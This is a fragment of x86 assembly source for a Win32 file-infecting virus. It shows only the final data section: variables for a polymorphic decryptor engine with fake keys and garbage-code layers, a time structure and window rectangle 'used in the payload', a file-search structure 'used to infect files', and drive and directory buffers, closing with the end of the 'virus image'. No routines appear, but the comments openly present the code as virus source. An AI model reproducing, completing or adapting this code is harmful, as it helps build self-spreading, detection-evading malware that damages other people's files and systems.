XrndReg dd 00000000h
XrndFixPtr dd 00000000h
XrndMath dd 00000000h
counter_mask db 00h ;Mask of register used as counter
recursive_level db 00h ;Garbage recursive layer
IsFirst db 00h ;Save registers only on 1st decryptor
fake_field equ $
ptr_disp dd 00000000h ;Displacement from index
fake_ptr_disp dd 00000000h ;...and fake one
crypt_key dd 00000000h ;Encryption key
fake_crypt_key dd 00000000h ;...and fake one
build_flags db 00h ;Some decryptor flags
fake_build_flags db 00h ;...and fake ones
oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword)
fake_oper_size db 00h ;...and fake one
index_mask db 00h ;Mask of register used as index
fake_index_mask db 00h ;...and fake one
TblStdPshP equ $
dd 00000000h
dd 00000000h
dd 00000000h
dd 00000000h
PshPStepIndex dd 00000004h dup (00000000h)
NUM_DA equ 10h
NumberOfDataAreas db 00h
tbl_data_area db NUM_DA*08h dup (00h)
;============================================================================
;SYSTEMTIME structure used by GetLocalTime
;============================================================================
local_time equ $
LT_Year dw 0000h
LT_Month dw 0000h
LT_DayOfWeek dw 0000h
LT_Day dw 0000h
LT_Hour dw 0000h
LT_Minute dw 0000h
LT_Second dw 0000h
LT_Milliseconds dw 0000h
;============================================================================
;A rect structure used in the payload
;============================================================================
WindowRect equ $
WR_left dd 00000000h
WR_top dd 00000000h
WR_right dd 00000000h
WR_bottom dd 00000000h
;============================================================================
;This is a WIN32 FindData structure used to infect files, and some
;auxiliary variables
;============================================================================
FileSizeOnDisk dd 00000000h
FatSize dd 00000000h
FT_CreationTime db 08h dup (00h)
FT_LastAccessTime db 08h dup (00h)
FT_LastWriteTime db 08h dup (00h)
h_Find dd 00000000h
DirectFindData db SIZEOF_WIN32_FIND_DATA dup (00h)
;============================================================================
;Used to retrieve current, windows and system directories
;============================================================================
BufGetDir db MAX_PATH+01h dup (00000000h)
;============================================================================
;Used to get logical drives
;============================================================================
SIZEOF_LDSB equ MAX_PATH
szLogicalDrives db SIZEOF_LDSB dup (00000000h)
;============================================================================
;End of virus image in allocated memory
;============================================================================
alloc_size equ $-viro_sys
virseg ends
end host_code